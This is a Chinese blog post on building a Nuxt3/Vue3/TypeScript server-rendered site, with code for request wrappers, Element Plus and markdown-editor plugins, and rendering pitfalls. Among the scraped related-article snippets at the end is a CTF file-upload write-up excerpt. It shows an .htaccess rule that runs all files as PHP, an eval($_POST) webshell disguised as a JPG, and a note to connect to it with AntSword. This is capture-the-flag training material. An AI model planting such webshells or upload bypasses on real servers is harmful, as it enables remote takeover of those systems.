nuxt3+ts+vue3的ssr项目总结

目录

一、什么是SSR、SEO、SPA,它们之间的关系又是怎样的。

二、VUE做SSR的几种方法

1、插件prerender-spa-plugin

2、VUE开启SSR渲染模式

3、使用NUXT框架 

三、NUXT3+VUE3+TS

(一)基本配置

1、文件夹介绍

assets

components

pages

api

plugins

utils 

2、布局使用

3、useFetch请求封装

(二)引入element-pluse

1、安装

2、引入

3、使用

(三)引入md文档

1、下载

2、引入

3、使用

用于输入数据

用于回显数据

(四)v-show与v-if踩坑

1、区别

2、问题

(五)el- select与el-tooltip踩坑

1、问题


一、什么是SSR、SEO、SPA,它们之间的关系又是怎样的。

SSR (Server-Side Rendering)服务器端渲染,是一种网页渲染方法,其中服务器在向客户端发送 HTML 之前将页面渲染为完全呈现的 HTML。在 SSR 中,服务器会处理页面的渲染,然后将呈现的 HTML 发送到客户端浏览器,浏览器接收到的是已经包含内容的页面。这有助于搜索引擎更好地索引页面内容,提高首次加载速度,以及有助于 SEO(搜索引擎优化)。

SEO (Search Engine Optimization)搜索引擎优化,是一系列技术和策略,旨在改进网站在搜索引擎结果页面上的排名,以增加网站的曝光度和访问量。在网站的 SEO 中,内容的可索引性、关键词的使用、页面速度和用户体验等都是重要因素。

SPA (Single Page Application)单页面应用,是一种基于 Web 的应用程序,它在加载初始页面后,通过 AJAX 或其他技术在同一个页面上动态加载内容,而不需要完整的页面刷新。SPA 通常在客户端使用 JavaScript 处理页面路由和渲染。SPA 的优点包括更流畅的用户体验,但它可能对搜索引擎索引和首次加载速度产生挑战。

SSR 和 SEO:SSR 通过在服务器端将完全呈现的 HTML 发送到客户端,有助于提高页面在搜索引擎中的可索引性。搜索引擎可以更容易地读取和理解页面内容,从而提高 SEO。相比之下,SPA 在初次加载时可能只有一个空的 HTML 骨架,内容是通过 JavaScript 动态加载的,这可能对 SEO 造成挑战。

SSR 和 SPA:SSR 和 SPA 是两种不同的页面渲染方法。SSR 在服务器端完成渲染,可以提供更好的 SEO 和首次加载性能,但也可能增加服务器负担。SPA 在客户端动态加载内容,提供更流畅的用户体验,但可能面临搜索引擎索引和初始加载速度的问题。一些项目结合两者,使用 SSR 渲染首次加载的内容,然后在后续页面切换时转为 SPA。

想了解更多关于ssr,seo,spa的知识可以看下面这篇文章:

浅谈SPA、SEO、SSR - 简书前后端分离算是最近Web开发的大趋势了,目前已经有大量的公司使用了前后端分离的开发方式。那我们就来大概谈谈前后端分离开发中必须要了解和接触的几个概念:SPA、SEO和SSR。...icon-default.png?t=N7T8https://www.jianshu.com/p/fcb98533bc18

二、VUE做SSR的几种方法

1、插件prerender-spa-plugin

prerender-spa-plugin 是一个用于预渲染单页面应用(SPA)的插件,它可以帮助你在构建时生成静态 HTML 文件,以优化搜索引擎索引和首次加载性能。它需要搭配webpack进行使用,并且改插件有局限性,只能用于较少页面的渲染,一旦渲染的较多负载会非常大,且不适用动态平衡路由的渲染。如商品详情页,文章详情页等等。且该项目已经停止更新了,请谨慎使用。

prerender-spa-plugin官网:GitHub - chrisvfritz/prerender-spa-plugin: Prerenders static HTML in a single-page application.Prerenders static HTML in a single-page application. - GitHub - chrisvfritz/prerender-spa-plugin: Prerenders static HTML in a single-page application.icon-default.png?t=N7T8https://github.com/chrisvfritz/prerender-spa-plugin

这里推荐一篇prerender-spa-plugin详细使用文章:

https://www.cnblogs.com/chuaWeb/p/prerender-plugin.htmlicon-default.png?t=N7T8https://www.cnblogs.com/chuaWeb/p/prerender-plugin.html写的非常详细。


2、VUE开启SSR渲染模式

Vue.js 的服务器端渲染(SSR)通过创建一个服务器入口文件来处理客户端请求,使用 createApp 函数创建 Vue 应用实例并配置路由,根据请求的 URL 匹配路由并预取数据,使用 renderToString 方法将应用渲染为完全呈现的 HTML 字符串,然后将渲染后的 HTML 和状态数据作为响应返回给客户端,客户端接管渲染过的 HTML 并激活应用。从而实现更好的搜索引擎优化、更快的首次加载速度以及服务器和客户端之间更一致的行为。

Vue.js 的服务器端渲染(SSR)官网:

Vue.js 服务器端渲染指南 | Vue SSR 指南Vue.js 服务端渲染指南icon-default.png?t=N7T8https://v2.ssr.vuejs.org/zh/这里附带一篇我认为写的较好的博主的文章,大家可以借鉴一下:

如何在vue中实现SSR服务端渲染? - 掘金SSR意为服务端渲染,指由服务侧完成页面的 HTML 结构拼接的页面处理技术,发送到浏览器,然后为其绑定状态与事件,成为完全可icon-default.png?t=N7T8https://juejin.cn/post/7063795725296992270

3、使用NUXT框架 

官网:介绍 · 开始使用Nuxt3 Nuxt中文站Nuxt的目标是使web开发直观和性能与伟大的DX铭记在心。icon-default.png?t=N7T8https://nuxt.com.cn/docs/getting-started/introduction

接下里来我将对NUXT的一些基本使用与踩坑展开描述。

三、NUXT3+VUE3+TS

首先这里默认你已经安装了NUXT3,如果不会的话,请移步至官网文档,就一个命令的事。(注意:node版本要大于16.11.0)

(一)基本配置

1、文件夹介绍

assets

在根目录文件下创建一个名为assets的文件夹用于存储静态文件。如图所示,可以将css文件,图片文件,svg文件包括iconfont字体等文件都存储在这里。

⚠️:这是官方约定俗成的东西。

components

一般用于存储封装好的通用组件。

pages

存放页面的文件夹

api

存放网络请求

plugins

存放各类插件。

utils 

存放各类工具。

2、布局使用

首先新建一个 layouts 文件夹,写入 default.vue 文件。

 找到 app.vue 文件添加 NuxtLayout 标签。

运行效果:

3、useFetch请求封装

首先在根目录下新建一个文件夹 service ,并新建一个文件 index.ts

添加代码如下:

import { UseFetchOptions } from "nuxt/app";type Methods = "GET" | "POST" | "DELETE" | "PUT";const BASE_URL = "https://xxx.com/";export interface IResultData<T> {code: number;data: T;msg: string;
}class HttpRequest {request<T = any>(url: string,method: Methods,data: any,options?: UseFetchOptions<T>,) {return new Promise((resolve, reject) => {const newOptions: UseFetchOptions<T> = {baseURL: BASE_URL,method: method,...options,};if (method === "GET" || method === "DELETE") {newOptions.params = data;}if (method === "POST" || method === "PUT") {newOptions.body = data;}useFetch(url, newOptions).then((res) => {resolve(res.data);}).catch((error) => {reject(error);});});}// 封装常用方法get<T = any>(url: string, params?: any, options?: UseFetchOptions<T>) {return this.request(url, "GET", params, options);}post<T = any>(url: string, data: any, options?: UseFetchOptions<T>) {return this.request(url, "POST", data, options);}Put<T = any>(url: string, data: any, options?: UseFetchOptions<T>) {return this.request(url, "PUT", data, options);}Delete<T = any>(url: string, params: any, options?: UseFetchOptions<T>) {return this.request(url, "DELETE", params, options);}
}const httpRequest = new HttpRequest();export default httpRequest;

再在根目录下新建一个 api 文件夹,新建文件index。在这里引入并定义接口,以便于接口的统一处理。

import httpRequest from "~/service";const getAppdetail = (params: any) => {const URL = `/app-server/marketui/${params.marketID}/apps/${params.appID}/detail`return httpRequest.get(URL, params);
};export {getAppdetail,
};

使用如下:

<template>这是主页面的内容
</template><script setup lang="ts">
import { ref } from 'vue';
import { getAppdetail } from '../api/index';
let marketID = ref<string>('859a51f9bb3b48b5bfd222e3bef56425');
let appID = ref<string>('10d2295fc98d4163acc4b2ec9d2917b9');
let getAppdetailData = async () => {let Appdetail: any = await getAppdetail({marketID: marketID.value,appID: appID.value,});console.log(JSON.parse(JSON.stringify(Appdetail.value)));
};
getAppdetailData()
</script>
<style  scoped>
</style>

请求成功: 

        

(二)引入element-pluse

1、安装

安装element-pluse

npm install element-plus --save

官网文档:

Button 按钮 | Element Plusa Vue 3 based component library for designers and developersicon-default.png?t=N7T8https://element-plus.org/zh-CN/component/button.html

2、引入

在 根目录创建 plugins 文件夹 ,新建一个名为 element-plus.js 的文件,并添加如下文件内容。

import { defineNuxtPlugin } from '#app'
import ElementPlus from 'element-plus'
import { ID_INJECTION_KEY } from 'element-plus'
import zhCn from 'element-plus/es/locale/lang/zh-cn'import 'element-plus/dist/index.css'
export default defineNuxtPlugin(nuxtApp => {nuxtApp.vueApp.use(ElementPlus, {locale: zhCn,})nuxtApp.vueApp.provide(ID_INJECTION_KEY, {prefix: 100,current: 0,})
})

 大功告成就可以使用了。

3、使用

我们更改一下about页面的代码。

运行效果: 

(三)引入md文档

⚠️:此插件使用时需要搭配 <ClientOnly></ClientOnly> 或者 <no-ssr></no-ssr> 使用,否则会报错,因为在服务端获取不到顶级的window对象。 

1、下载

命令

npm install mavon-editor --save

GitHub:

GitHub - hinesboy/mavonEditor: mavonEditor - A markdown editor based on Vue that supports a variety of personalized featuresmavonEditor - A markdown editor based on Vue that supports a variety of personalized features - GitHub - hinesboy/mavonEditor: mavonEditor - A markdown editor based on Vue that supports a variety of personalized featuresicon-default.png?t=N7T8https://github.com/hinesboy/mavonEditor

2、引入

在 根目录创建 plugins 文件夹 ,新建一个名为 vue-mavon-editor.js 的文件,并添加如下文件内容。

import { defineNuxtPlugin } from '#app'
import mavonEditor from 'mavon-editor'
import "mavon-editor/dist/css/index.css";export default defineNuxtPlugin( nuxtApp => {nuxtApp.vueApp.use(mavonEditor)
})

nuxt.config.ts 中添加如下代码。 

export default defineNuxtConfig({//其他配置plugins: [{ src: '@/plugins/vue-mavon-editor.js', ssr: false, mode: 'client' },],
})

3、使用

用于输入数据

这次我们更改 home 文件夹下的 index.vue

<template><h1>这是home页面</h1><ClientOnly><mavon-editorref="md"placeholder="请输入文档内容...":boxShadow="false"style="z-index:1;border: 1px solid #d9d9d9;height:50vh"v-model="value":toolbars="toolbars"/></ClientOnly></template><script setup lang="ts">
import { ref } from 'vue';
let value = ref<string>('**这是加粗的文字**');
let toolbars = ref<any>({bold: true, // 粗体italic: true, // 斜体header: true, // 标题underline: true, // 下划线strikethrough: true, // 中划线mark: true, // 标记superscript: true, // 上角标subscript: true, // 下角标quote: true, // 引用ol: true, // 有序列表ul: true, // 无序列表link: true, // 链接imagelink: true, // 图片链接code: true, // codetable: true, // 表格fullscreen: true, // 全屏编辑readmodel: true, // 沉浸式阅读htmlcode: true, // 展示html源码help: true, // 帮助/* 1.3.5 */undo: true, // 上一步redo: true, // 下一步trash: true, // 清空save: false, // 保存(触发events中的save事件)/* 1.4.2 */navigation: true, // 导航目录/* 2.1.8 */alignleft: true, // 左对齐aligncenter: true, // 居中alignright: true, // 右对齐/* 2.2.1 */subfield: true, // 单双栏模式preview: true // 预览})
</script>
<style  scoped>
</style>

 效果如图:

用于回显数据

<template><h1>这是home页面</h1><ClientOnly><mavon-editorref="md"v-highlight class="md" v-model="value" //引入要转换的内容:subfield="false"//开启单栏模式       :defaultOpen="'preview'" //开启单栏模式:toolbarsFlag="false" //开启单栏模式:editable="false"//开启单栏模式 :scrollStyle="true"//开启滚动条样式/></ClientOnly></template><script setup lang="ts">
import { ref } from 'vue';let value = ref<string>('**这是加粗的文字**');
</script>
<style  scoped>
</style>

(四)v-show与v-if踩坑

1、区别

  1. 渲染方式的区别

    • v-if:当条件为真时,元素会被渲染到DOM中;当条件为假时,元素会被完全从DOM中移除。
    • v-show:无论条件是真还是假,元素都会被渲染到DOM中,但是通过设置元素的display属性来控制是否显示在页面上。
  2. 初始渲染性能

    • v-if:在初始渲染时,如果条件为假,元素不会被添加到DOM中,因此可以提高初始加载性能。
    • v-show:无论条件如何,元素都会被添加到DOM中,只是通过CSS的display属性来控制显示与隐藏,因此初始加载性能上稍逊于v-if
  3. 切换开销

    • v-if:当条件从假切换到真时,会进行DOM插入操作,从真切换到假时,会进行DOM移除操作,可能涉及更多的DOM操作开销。
    • v-show:无论切换条件如何,只需操作CSS属性,因此切换时的性能开销较小。
  4. 适用场景

    • v-if:适合在条件不经常改变的情况下使用,因为它在切换时有更高的开销。
    • v-show:适合在条件需要经常改变的情况下使用,因为它的切换开销较小。

2、问题

使用v-show可能会导致文件加载错误,或者模块渲染失败。比如在这段代码中:

<div class="tag_box" v-if="parentNode"><div class="tag_icon"><img class="helm_icon" src="../../../assets/svg/tag-type.svg" alt="" /></div><div class="tag_name">{{ parentNode }}</div>
</div>

我的img文件中指向的是静态文件中的一个icon图标。

当我使用v-if时,正常展示。

 当我使用v-show时,展示就出现了问题。

目前不清楚是为何导致的但需要注意这一点。 

(五)el- select与el-tooltip踩坑

1、问题

可以详见这个issues。https://github.com/element-plus/element-plus/issues/9414icon-default.png?t=N7T8https://github.com/element-plus/element-plus/issues/9414

总的来说就是使用 el- select 与 el-tooltip 的地方会导致渲染出现问题,比如这里。

    <!-- 导航栏 --><!-- <no-ssr> --><nav class="navbar"><div class="navbar-box"><div style="font-size: 24px">云原生应用市场</div><div><ul><li><a :href="`/docs`" target="_blank"> 文档 </a></li><li><el-popover :width="160" placement="bottom" trigger="hover"><template #default><div><imgclass="wechart":src="marketInfo &&marketInfo.banners &&marketInfo.banners.length > 0 &&marketInfo.banners[0].imageURL"alt=""/><pstyle="font-size: 12px;margin-bottom: 0px;margin-top: 6px;text-align: center;">扫一扫,邀你进群交流吧</p></div></template><template #reference>加入群聊</template></el-popover></li><li><a :href="`/enterprise/login`"> 登录 </a></li></ul></div></div></nav><!-- </no-ssr> -->

运行效果:

可以看到,我这里点击跳转以后地址栏发生了变化,但是页面并没有跳过去,而且控制台也报错。Uncaught (in promise) TypeError: Cannot read properties of null (reading 'parentNode') 

 解决方法

使用 <no-ssr></no-ssr> 把对应的 el- select与el-tooltip 包裹住,让这一小段代码不使用ssr渲染,从上面的issues也可以看到这是element plus的一个bug,但是截止到目前仍未修复。

总结:坑还是挺多的,而且很多问题虽然解决了但不知道是为什么(有知道为什么的大佬如果您不嫌弃的话麻烦给我讲解一下),因为这个玩意已经加了两周多的班了,终于捋出来一些头绪了。终于也是快接近尾声了。seo优化这个词也终于从我的面试八股文中走了出来真真切切的体验了一把,虽然过程很艰难,但好在最难的时刻已经过去啦。加油加油各位!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/118968.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker安装MySQL教程

虽然 docker 安装 mysql 不是一个很好的方案&#xff0c;但是为了个人使用方便&#xff0c;使用 docker 安装 mysql 还是没什么问题的。 本文为了方便&#xff0c;我们直接通过yum方式安装。所以&#xff0c;我们在安装之前需要电脑可以联网&#xff0c;不然我们这种方式是安装…

Python的由来和基础语法(一)

目录 一、Python 背景知识 1.1Python 是咋来的? 1.2Python 都能干啥? 1.3Python 的优缺点 二、基础语法 2.1常量和表达式 2.2变量和类型 变量的语法 (1) 定义变量 (2) 使用变量 变量的类型 (1) 整数 (2) 浮点数(小数) (3) 字符串 (4) 布尔 (5) 其他 动态类型…

《TCP/IP网络编程》阅读笔记--基于Windows实现Hello Word服务器端和客户端

目录 1--Hello Word服务器端 2--客户端 3--编译运行 3-1--编译服务器端 3-2--编译客户端 3-3--运行 1--Hello Word服务器端 // gcc hello_server_win.c -o hello_server_win -lwsock32 // hello_server_win 9190 #include <stdio.h> #include <stdlib.h> #i…

vue+element-ui el-table组件二次封装实现虚拟滚动,解决数据量大渲染DOM过多而卡顿问题

一、此功能已集成到TTable组件中 二、最终效果 三、需求 某些页面不做分页时&#xff0c;当数据过多&#xff0c;会导致页面卡顿&#xff0c;甚至卡死 四、虚拟滚动 一、固定一个可视区域的大小并且其大小是不变的&#xff0c;那么要做到性能最大化就需要尽量少地渲染 DOM 元素…

kotlin 转 Java

今天突然想研究下有些kotlin文件转为Java到底长什么样&#xff0c;好方便优化kotlin代码&#xff0c;搞了半天发现一个非常简单的Android Studio或者Intellij idea官方插件Kotlin&#xff0c;Kotlin是插件的名字&#xff0c;真是醉了&#xff1b; 这里以AS为例&#xff0c;使用…

OTFS-ISAC通信最新进展

测试场景 Tx DD域帧结构导频区域 Rx DD域帧导频区域 原始星座图 信道估计及数据检测 经过MP算法后的星座图 误码率曲线

ELK安装、部署、调试 (二) ES的安装部署

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎&#xff0c;基于RESTful web接口操作ES&#xff0c;也可以利用Java API。Elasticsearch是用Java开发的&#xff0c;并作为Apache许可条款下的开放源码发布&#xff0c;是当前流行的企业…

windows-nessus安装

1、下载 路径&#xff1a;Download Tenable Nessus | Tenable 2、获取active code 路径&#xff1a;Tenable Nessus Essentials Vulnerability Scanner | Tenable 3、安装 challenge code:上图马赛克位置 active code:获取active code第二张图片的马赛克位置 4、激活 5、安装…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

SpringCloudAlibaba OpenFeign整合及详解

SpringCloudAlibaba OpenFeign 在前面&#xff0c;我们使用Nacos服务注册发现后&#xff0c;服务远程调用可以使用RestTemplateRibbon或者OpenFeign调用。实际开发中很少使用RestTemplate这种方式进行调用服务&#xff0c;每次调用需要填写地址&#xff0c;还要配置各种的参数&…

软件测试/测试开发丨Pytest和Allure报告 学习笔记

点此获取更多相关资料 本文为霍格沃兹测试开发学社学员学习笔记分享 原文链接&#xff1a;https://ceshiren.com/t/topic/26755 Pytest 命名规则 类型规则文件test_开头 或者 _test 结尾类Test 开头方法/函数test_开头注意&#xff1a;测试类中不可以添加__init__构造函数 注…

使用 BERT 进行文本分类 (03/3)

一、说明 在使用BERT&#xff08;2&#xff09;进行文本分类时&#xff0c;我们讨论了什么是PyTorch以及如何预处理我们的数据&#xff0c;以便可以使用BERT模型对其进行分析。在这篇文章中&#xff0c;我将向您展示如何训练分类器并对其进行评估。 二、准备数据的又一个步骤 …

IDEA中Run/Debug Configurations添加VM options和Program arguments

1. 现象描述 我在我的IDEA当中打开配置模板后&#xff0c;发现没有VM options和Program arguments&#xff0c;也就是虚拟机选项和程序实参这两项&#xff0c;导致我不能配置系统属性参数和命令行参数&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff0…

【vue2第十一章】v-model的原理详解 与 如何使用v-model对父子组件的value绑定 和修饰符.sync

v-model的原理详解 v-model的本质就是一个语法糖&#xff0c;实际上就是 :value"msg" 与 input"msg $event.target.value" 的简写。 :value"msg" 从数据单向绑定到input框&#xff0c;当data数据中的msg内容一旦改变&#xff0c;而input框数据…

Matlab 基本教程

1 清空环境变量及命令 clear all % 清除Workspace 中的所有变量 clc % 清除Command Windows 中的所有命令 2 变量命令规则 &#xff08;1&#xff09;变量名长度不超过63位 &#xff08;2&#xff09;变量名以字母开头&#xff0c; 可以由字母、数字和下划线…

自定义类型:结构体、枚举、联合

目录 结构体 结构体的基础知识 结构的声明 特殊的声明 结构体的自引用 结构体变量的定义和初始化 结构体内存对齐 修改默认对齐数 结构体传参 位段 什么是位段 位段的内存分配 位段的跨平台问题 位段的应用 枚举 枚举类型的定义 枚举的优点 联合体&#xff08;共…

CLFS信息泄露漏洞CVE-2023-28266分析

引用 这篇文章的目的是介绍今年4月发布的CLFS信息泄露漏洞CVE-2023-28266分析. 文章目录 引用简介CVE-2023-28266漏洞分析CVE-2023-28266调试过程漏洞复现相关引用参与贡献 简介 文章结合了逆向代码和调试结果分析了CVE-2023-28266漏洞利用过程和漏洞成因. CVE-2023-28266漏洞…

stm32之27.iic协议oled显示

屏幕如果无法点亮&#xff0c;需要用GPIO_OType_PP推挽输出&#xff0c;加并上拉电阻 1.显示字符串代码 2.显示图片代码&#xff08;unsigned强制转换&#xff08;char*&#xff09;&#xff09; 汉字显示

友元(个人学习笔记黑马学习)

1、全局函数做友元 #include <iostream> using namespace std; #include <string>//建筑物类 class Building {//goodGay全局函数是 Building好朋友 可以访问Building中私有成员friend void goodGay(Building* building);public:Building() {m_SittingRoom "…

SpringMVC

学习流程图&#xff1a; 四个学习模块&#xff1a; 1、SpringMVC入门 2、请求与响应 3、rest风格 4、ssm整合 5、拦截器 第一章、SpringMVC入门 1、简介 SpringMVC 是一种基于 Java 的实现 MVC 设计模型的请求驱动类型的轻量级 Web 框架。 SpringMVC的开发步骤&#xff1a; …